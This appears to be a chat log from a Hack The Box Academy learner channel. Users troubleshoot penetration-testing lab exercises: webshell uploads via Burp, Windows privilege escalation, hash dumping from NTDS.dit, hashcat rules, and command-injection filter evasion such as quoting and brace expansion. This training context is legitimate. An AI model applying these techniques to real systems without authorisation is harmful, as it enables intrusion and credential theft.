learned the hardway! still sad i messed up my kali machine

#

i downloaded the kali purple its super lightweight storeage was only 26%

#

started downloaded some penetration test stuff now and only at 50%

mystic cloak
#

I just have my git repo auto commit changes every 20mins and push changes remotely

leaden pond
#

I'm working on the PHP webshells exercises, and I've successfully uploaded the White Winter Wolf webshell.php file to the target. But when I try to navigate to https://<target IP>/images/vendor.connect.php as described in the module, I get a 404 not found error instead of access to a web shell. I also tried using Laudanum but that didn't work either. Any ideas?

high reef
#

copy and paste the command @leaden pond so we can see if you uploaded the correct sytnax

leaden pond
#

The url I try to navigate to?

high reef
#

the uploaded php webshell

vital adder
leaden pond
vital adder
leaden pond
#

No worries! Thanks for the help. I also didn't type a command to submit the payload. I uploaded the file through an image upload feature and used Burp to allow me to avoid the "you can't upload that type of file in this field" error.

vital adder
high reef
vital adder
leaden pond
#

Yes, that's exactly what I did

vital adder
#

in repeater?

leaden pond
#

I just intercepted the request in the proxy, modified that one parameter, hit forward twice until I saw "vendor uploaded to database" in browser, then turned off intercept

vital adder
#

the intercept thing doesn't always work for me try in repeater

vagrant oasis
#

what can i use instead of the academy built in workstation

vital adder
#

if that also doesn't work shoot me a dm with your burp request

viscid cedar
#

In Windows Privilege Escalation, SeTakeOwnershipPrivilige has has anyone been able to build SharpGPOAbuse and run it on the target. I've been able to build it but when I try to run it on the target it crashes

vital adder
#

which section are you on?

viscid cedar
#

SeTakeOwnershipPrivilege

leaden pond
#

Alright, I'll try repeater. I don't think that's the issue, since once I modify the request and forward it, I get a confirmation message in the browser that the file was uploaded, and the webpage looks exactly like it does in the tutorial. I get right up to the point where you're supposed to be able to navigate to the url to access the webshell and then get a 404 error.

vital adder
# viscid cedar SeTakeOwnershipPrivilege

no idea why i couldn't search for this in my note but the section mentioned the tool once and have nothing about that tool so if a tool isn't intended for section there isn't much help on the troubleshoot part

vagrant oasis
vital adder
#

yes but it isn't free

vagrant oasis
#

shit

#

guess i have to wait till tomorrow cos i accidently closed the workstation

vital adder
leaden pond
#

Oh, that could definitely be the issue. Let me try that!

violet tundra
#

Hello everyone, do you guys know how to preperly double pivot with ligolo-ng ?

vital adder
vagrant oasis
vital adder
vital adder
#

yes but on the academy 2h / day and on the main 2h / life

violet tundra
#
  • have this on kali <-> 172.16.5.15
  • using agent.exe -connect 172.16.5.15:10011 -ignore-cert on 172.16.5.35, but getting this error:
#

@vital adder would love that !!

#

created with --tcp btw

vital adder
# violet tundra

that look like some verbose bs i get everytime i run nmap or something

violet tundra
vagrant oasis
leaden pond
vital adder
#

np ❤️

viscid cedar
# vital adder no idea why i couldn't search for this in my note but the section mentioned the ...

The instructions at the end of the section Question say to leverage SeTakeOwnershipPrivilege rights to get the flag. None of the users on the target have SeTakOwnershipPrivilege.

The module notes say "Suppose we encounter a user with this privilege or assign it to them through an attack such as GPO abuse using SharpGPOAbuse"In the Windows Privilege Escalation course in the module SeTakeOwnershipPrivilege, the instructions say to use SharpGPOAbuse to acquire the privileges necessary to access the directory containing the flag.

However SharpGPOAbuse.exe is not one of the programs included in C:/Tools on the target.

I tried building SharpGPOAbuse.exe myself however when I run it on the target I get the error Unhandled Exception: System.MissingMethodException: Method not found: 'Void System.Threading.Monitor.Enter(System.Object, Boolean ByRef)'.
at SharpGPOAbuse.Program.Main(String[] args).

rustic sage
#

ah finalyyyy peepo_yikes

vital adder
rustic sage
#

i have a problem that im doing the first instance but i ran out of spawns, i have to wait 24hrs to get another or i can do smth

shut wraith
vital adder
shut wraith
rustic sage
viscid bramble
#

I’m on Linux module it’s asking the name of the interface that mtu is set to 1500

vital adder
viscid bramble
#

I’m convinced it’s eth0 but it’s telling me I’m wrong

rustic sage
vital adder
rustic sage
shut wraith
rustic sage
shut wraith
rustic sage
#

what are cubs for?

#

are usefull?

rustic sage
rustic sage
vital adder
#

nmap

vital adder
rustic sage
#

is he asking for switches?

shut wraith
#

Like the CPTS course and exam, and the pro labs, and the OSCP HTB boxes

vagrant oasis
#

is silver worth getting?

shut wraith
#

Include --open to skip closed ports

rustic sage
#

nmap -T 4 -sV <ip>

acoustic owl
vital adder
rustic sage
shut wraith
vagrant oasis
vital adder
acoustic owl
vagrant oasis
rustic sage
rustic sage
acoustic owl
fallen yew
#

i have a question about HTB academy. when you start a module, it says that at the end of that, we will get +X buckets (for example +10 buckets) but i didn't get any extra buckets ! is it normal ??

rustic sage
#

is tier 1 free

#

no tier 0 is free

cyan sedge
#

I'm a skilled Full-Stack developer with 6+years of experience
I'm passionate about creating visually stunning, user-friendly websites that help my clients stand out digitally.
If you're looking for a talented and experienced developer, look no further than me!

WEBSITE DEVELOPMENT:

-MERN Stack
-Laravel
-PHP
-Vue.js
-HTML/CSS
-Python

vital adder
#

not the right place for this

rustic sage
#

and, is there a way to get stuff fore free

rustic sage
vital adder
vital adder
acoustic owl
# fallen yew i have a question about HTB academy. when you start a module, it says that at th...

How does the Cubes system work?

Cubes are our awesome currency! It might take it a bit to understand how it all works, but here is a summary:

Cubes are used to unlock Modules & Paths.
You get back Cubes as a reward for Module & Paths completion. It is like cash back, but better!
The Cubes needed to unlock and reward back depend on the Tier of the Module. Find a table below for reference.

Module Tiers Unlock With Reward Back
Tier 0 10 10 (Free!)
Tier I 50 10
Tier II 100 20
Tier III 500 100
Tier IV 1,000 200

rustic sage
vital adder
#

||UwU||

#

typo

fallen yew
vagrant oasis
#

whats the point of silver anual id silver monthly is cheaper?

rustic sage
acoustic owl
fallen yew
vital adder
vagrant oasis
vital adder
fallen yew
acoustic owl
#

From Tier I you get 20% of the costs back.

fallen yew
acoustic owl
#

Nobody works for free

vital adder
fallen yew
vital adder
acoustic owl
fallen yew
vagrant oasis
#

whats that

#

and is there any other way to get them?

vital adder
#

nope

vital adder
#

so paying for modules up tier 2 will give you access to both path

#

also you don't get 3 guy asking for free stuff on the academy every single day 🤣

vagrant oasis
#

so silver monthly will get me it ok

vital adder
#

silver monthly isn't going to get you modules up tier 2

vagrant oasis
vital adder
#

only Student and Silver Annual Subscriptions will get you modules up tier 2 and only Silver Annual will throw in an exam voucher

vagrant oasis
#

need someones uni email then fr

#

cos i dont have 350

rustic sage
vital adder
rustic sage
#

lol

craggy hound
#

Is anyone starting Penetration Tester Path?

vital adder
#

i've done both path need help with something?

vagrant oasis
rustic sage
#

any uni

craggy hound
#

I need a study group because I cannot seem to focus alone hahah

vital adder
#

oh you're back

#

i thought you got ban

rustic sage
#

why ?

vital adder
#

saw him get yeeted when i was checking my rank

viscid cedar
# vital adder so for the tool error of the tool part i think that's because of compiling issue...

Hi, that script, EnableAllToeknPrivs.ps1, only works if the user already has SeTakeOwnershipPrivilege but it is disabled

PS C:\htb> whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State
============================= ======================================================= ========
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
PS C:\Users\htb-student>

On the target the user doesn't have SeTakeOwnershipPrivilege at all.

vital adder
vagrant oasis
#

gunna borrow someones uni email to use fr need to find someone

#

not from here stinky

vital adder
rustic sage
#

yess maybe saying that can also cause you get into trouble

vital adder
vital adder
vagrant oasis
#

plus i said borrow no harm no foul

vital adder
#

it's against tos not the us legal system

viscid cedar
obsidian crag
#

While i'm using ffuf tool for more directry or file..it was showing like this

vital adder
vital adder
torn steppe
#

Anyone experiences any problem with the first rdp session in active directory instroduction module?

vital adder
#

if waiting doesn't work and you still have issue while using tool like xfreerdp or remmina verify your account and send a screenshot of the issue you are having here

torn steppe
#

thx I am going to reset and wait

vital adder
wild dragon
vital adder
# wild dragon

i don't know what's more impressive the fact that you've done 100% of the module or some how you got 3 cude 🤣 but congratz though 🎉

echo roost
#

Anyone know where I can find the working laZagne.py from this module for linux? - https://academy.hackthebox.com/module/147/section/1320 I found this - https://github.com/AlessandroZ/LaZagne/blob/master/Linux/laZagne.py but when I run it it can't find the lazagne module

GitHub

Credentials recovery project. Contribute to AlessandroZ/LaZagne development by creating an account on GitHub.

acoustic owl
fiery berry
#

via RDP you can you the /drive: option
EDIT: looks like you did it already but why doesn't work? I had no problem using it

#

you can always use a python simple server in case

#

dm you

torn steppe
#

still the same

#

balck screen

echo roost
#

Your version didn't work either?

vital adder
#

did you use python2.7?

echo roost
#

yes

#

it can't find the module which isn't in the github repo

#

You need to setup pyenv with the latest vesion of kali with I have python 2 set as by system default

#

but when I run the script -

vital adder
#

give it a try on the pwnbox

#

also shouldn't you run this tool on the target machine?

echo roost
#

nm I needed to clone the whole github repo there are other classes and modules in the Linux folder. The script won't run my itself alone without the other files.

echo roost
vital adder
#

the script is stand alone you don't need other files for this script to run

torn steppe
vital adder
#

try a new vpn maybe

echo roost
vital adder
#

magically it isn't working for me now 🤣

echo roost
#

How does it know where to import a custom library per the from statements. Those are in the folder within the github repo

rustic sage
#

How y’all Mf doin that

vital adder
vital adder
pastel basalt
#

What’s up with the eu servers?

vital adder
umbral fulcrum
#

How did U find that IP?

torn steppe
#

still the same problem

vital adder
#

nothing seem to wrong here so i think you should reach out to the support

torn steppe
#

ok thx

sweet aurora
#

How can i verify my email ?

foggy light
echo roost
#

the password attacks question to get Wills password?

autumn pilot
#

the targets are not connected to the internet

echo roost
#

Okay so I have to transfer any tools to or move files back to my machine if I want to firefox_decrypt or run Lazgane on the target?

autumn pilot
#

if you want to transfer tools, you will have to download them to your workstation and then use python3, scp or any other means

echo roost
small steppe
#

Module: ATTACKING COMMON SERVICES
Section: Attacking FTP
Question: What username is available for the FTP server?

Okay. I'm running Hydra against the appropriate port on the host using the provided username and password lists. Hydra yeilds a single usable user:pw that I can access FTP with. However, it doesn't accept the username as an answer for the question. Any ideas?

elfin cedar
#

hi, this is suppose to be super easy but I don't get what I am doing wrong:
https://academy.hackthebox.com/module/109/section/1035
I am trying all the formats and URL encoding. I know the answer but why does it keep saying invalid input?
and you know whats crazy, the answer is capitalized for both words, and in the question its not, its ridiculous

vagrant oasis
#

no luck finding a uni email to use yet

vital adder
#

and you won't have any luck finding it here

vital adder
elfin cedar
#

I dont understand

#

can I type the answer here?

vital adder
#

the answer is one of the thing listed in the question Which of (new-line, &, |)

vital adder
elfin cedar
#

yes, but can I show how I input it?

#

oh how do you do that

small steppe
#

Negative. That was the first thing I tried before running Hydra. No dice.

vital adder
#

yea ||ftp|| for this isn't on the normal port

tranquil axle
#

For Attacking Enterprise Networks as "practice", do I just scroll to the bottom, start the VM and then dont look at the module again until I got the DC compromised?

vital adder
vital adder
tranquil axle
#

yea but how do I know Im done lol, thats why I went with DC compromise

echo roost
#

Wow the Password Attacks module is the first that frustrated me a little. I think I am going to use the attack machine going forward instead of Kali. Was having python issues with that firefox_decrypt.py tool

vital adder
tranquil axle
#

heh I guess

winter blaze
#

hello i am stuck in Capture the NTDS.dit file and dump the hashes. Use the techniques taught in this section to crack Jennifer Stapleton's password. Submit her clear-text password as the answer. (Format: Case-Sensitive) module https://academy.hackthebox.com/module/147/section/1326#questionsDiv i got the NTDS.dit file but idk how to dump the hashes from NTDS.dit the reason why its because impacket just work for hklm secure,sytem and sam, but in the other hand we have pypykatz that did not work for me i am thinking that pypykatz its exclusive for LSASS file any hint ?

#

i wanned to try it with NTDS.dit file dump method for practice, i know that with crackmapexec smb 10.129.201.57 -u bwilliamson -p P@55w0rd! --ntds might work

#

v,:

tranquil axle
#

impacket should work with ntds if you also provide system

winter blaze
#

@tranquil axle but do i have to always provide both ?

#

so NTDS.dit is useless alone am i right ?

tranquil axle
#

seems like you always need both, but if you can get ntds you should be able to get system just as easy

winter blaze
#

thanks ❤️ @tranquil axle have a good day

thorn urchin
#

@winter blaze the reason is because the hashes inside ntds.dit are encrypted with a PEK key. Now the PEK key is embedded inside ntds.dit but is itself encrypted with the system key. Hence needing the system hive in order to extract the hashes

winter blaze
shut wraith
echo roost
#

https://academy.hackthebox.com/module/147/section/1319 - I am struggling with this module. I used the supplied resources with the -r ||custom.rule|| here is the syntax I have done after|| I unshadowed the two files .bak files locally ||- ||hashcat -m 1800 -a 0 unshadowed.hashes mut_password.list -o cracked.txt -r custom.rule|| - I've also tried the ||best64|| rule and rockyou.txt,|| mut_password.list, and password.list|| word list in the resources. I can't figure out the root password. When using rockyou wordlist with custom.rule or best64|| hashcat || never cracks that ||SHA-512 hash|| nor does it exhaust. DM anyone so I don't spoil the answer? Am I on the right track?

rustic sage
#

You are supposed to use the resources, that far I can remember @echo roost

elfin cedar
#

hi, when inserting quotes into a command for a command injection, why is there no single quote between the A and M?

rustic sage
#

I believe I mutated yes, @echo roost ,

#

Mutated

elfin cedar
trail leaf
#

Yeah, it doesn't need to alternate, the goal is to break up any filter that's looking for the word "whoami"

#

so you should even just do wh'o'ami, and that might work depending on how the server is written

dapper wadi
#

I am currently completing Using Web Proxies, Proxying Tools. I am trying to edit the /etc/proxychains.conf file but it is read only, can anyone help?

slender cipher
#

For [Attacking Thick Client Applications] in module Attacking Common Applications, I don't understand the reason behind dumping the type of [MAP] and privilege set to [RW], could someone discuss with me?

keen obsidian
#

Hey

#

is there a way I can reset my progress on a module?

#

I want to continue a module I started moths ago

echo roost
#

thank you @rustic sage

burnt sluice
#

if u found any please tag me along, i would like to know as well.

elfin cedar
#

can I ask another question about command injections?

woven copper
#

Don't ask to ask , just make the question

slender cipher
elfin cedar
#

why does {IFS}c'a't work but not {c'a't}? In the module, the command {ls,la} worked..

trail leaf
#

try it on your own command line

burnt sluice
trail leaf
#

easiest way to test anything

burnt sluice
#

here's what i dug up from IBM:

Memory mapped files provide a mechanism for a process to access files by directly incorporating file data into the process address space. The use of mapped files can significantly reduce I/O data movement since the file data does not have to be copied into process data buffers, as is done by the read and write subroutines. 
#
#

So if I understood that correctly, the only memory that might get written to a file is a MAP memory with RW permissions, so we're trying to catch what's getting written into the file not figure out what it's language.

#

correct me if im wrong, i just learned this xD

slender cipher
#

Yeah, I agree your idea

burnt sluice
#

but as for the programming language and file type, it's explained in the next paragraph where we look at the magic bytes of the file we intercepted.

slender cipher
elfin cedar
#

now I am evenmore confused

burnt sluice
slender cipher
#
  1. Maybe [MAP] and [RW] means it's probably has some data.
  2. Look into the memory, found out the magic bytes header, means it's the start of the executable
  3. Dump the memory and analyze further
#

this's my logic

burnt sluice
#

Wait, we already know its data, and that its being written to a file.
That's because Memory-mapped files allow applications to access large files without having to read or write the entire file into memory at once. Instead, the file is mapped to a region of memory that the application can read and write as if it were a regular buffer in memory.
//Direct quote from the section.
and we know it's being written hence the RW permissions.
And after that as u said.

elfin cedar
trail leaf
burnt sluice
#

i remember it differs sometimes, correct me if I'm wrong.

#

I'll test it out one sec

elfin cedar
#

zsh

burnt sluice
#

oh, check it with bash

trail leaf
#

yeah doesn't work in zsh

slender cipher
#

hoping this won't happen in CPTS exam.. I'm really bad at these stuff

slender cipher
#

Are you going to take the exam? I'm probably in a week

burnt sluice
#

I'm thinking of also taking the bloodhound module and practice a bit on a C2 framework.

trail leaf
#

learning a C2 framework might not be a bad idea to help manage shell sessions

burnt sluice
#

and i'll try to knock up Dante prolab first then take the exam, so i still have a bit left to do.

trail leaf
#

also good practice for when you eventually start to dabble in red team and maldev

elfin cedar
#

thanks all

#

should I stay in bash?

burnt sluice
burnt sluice
trail leaf
#

and also how that relates to what other people are using

slender cipher
#

Okay, I've done dante and half of zephyr, but I've been lazy for about a month doing nothing, so I reviewing all the module again now, with the last 3 module left.

burnt sluice
slender cipher
#

I think msf is good enough for the exam, it always has some feature you don't know before

#

Yeah, keep it up

burnt sluice
burnt sluice
elfin cedar
#

so {ls,-la} works but {cat} doesn't. I dont get why

burnt sluice
#

Here it is with bash:

elfin cedar
#

what in the world

#

ohhhh

#

the curly brackets remove the comma??

burnt sluice
#

if u try to dissect the command I think this is what happens:
{cat} --> {cat}
while:
{cat,} --> cat (Space)
Which corresponds to the command itself.

burnt sluice
elfin cedar
#

I mean it replaces the comma with a space?

#

thanks I understand a whole lot more now

burnt sluice
#

well it expands the command, it doesn't rly replace it.

#

When we specify curly brackets we are specifying a list in bash. which in turn expands it's elements when ran.
Thus creating spaces between it's elements.

#

but when it's a command it gets interpeted as one.

#

interpreted**

elfin cedar
#

wow nice

burnt sluice
#

ty ty

elfin cedar
#

omg that makes so much sense

burnt sluice
#

if u try to achieve the same thing with zsh, u can make an array, but you will have to use the IFS variable.

elfin cedar
#

I see you are close to taking the exam, do you think if you can pass this, you can pass the OSCP?

#

because I paid for the OSCP but I am using this to study

burnt sluice
#

i don't rly know tbh, u gotta ask someone who took both. head over to the #cpts section. I think u might find ur answer there

elfin cedar
#

ok ty

trail leaf
#

Fundamental information about system administration and operating systems is generally assumed, though

rotund urchin
#

Has anyone done the Session Hijacking topic in Cross Site Scripting module? i cannot grab the admin cookie and I dont know why it is not working :/

burnt sluice
dusty sparrow
#

Are we supposed to be creating the mutated password list based on mutating the password.list provided with the custom.rule provided? If so I'm getting 186,850 lines. Running through crackmapexec throws some random logging errors in the middle and running in hydra has been going for about half an hour now with no hits yet.

leaden yew
#

Anyone assist me with Module: Using Metasploit Framework, Section: Sessions? I have a meterpreter session that I've sent to background and am attempting to run the second exploit to get root access, but it keeps failing with:
[-] Exploit failed: Input/output error @ io_fread - /usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/metasploit_payloads-mettle-1.0.20/build/x86_64-linux-musl/bin/mettle.bin

dusty sparrow
#

are you using the correct second exploit?

leaden yew
leaden yew
dusty sparrow
#

and you entered the session in the options?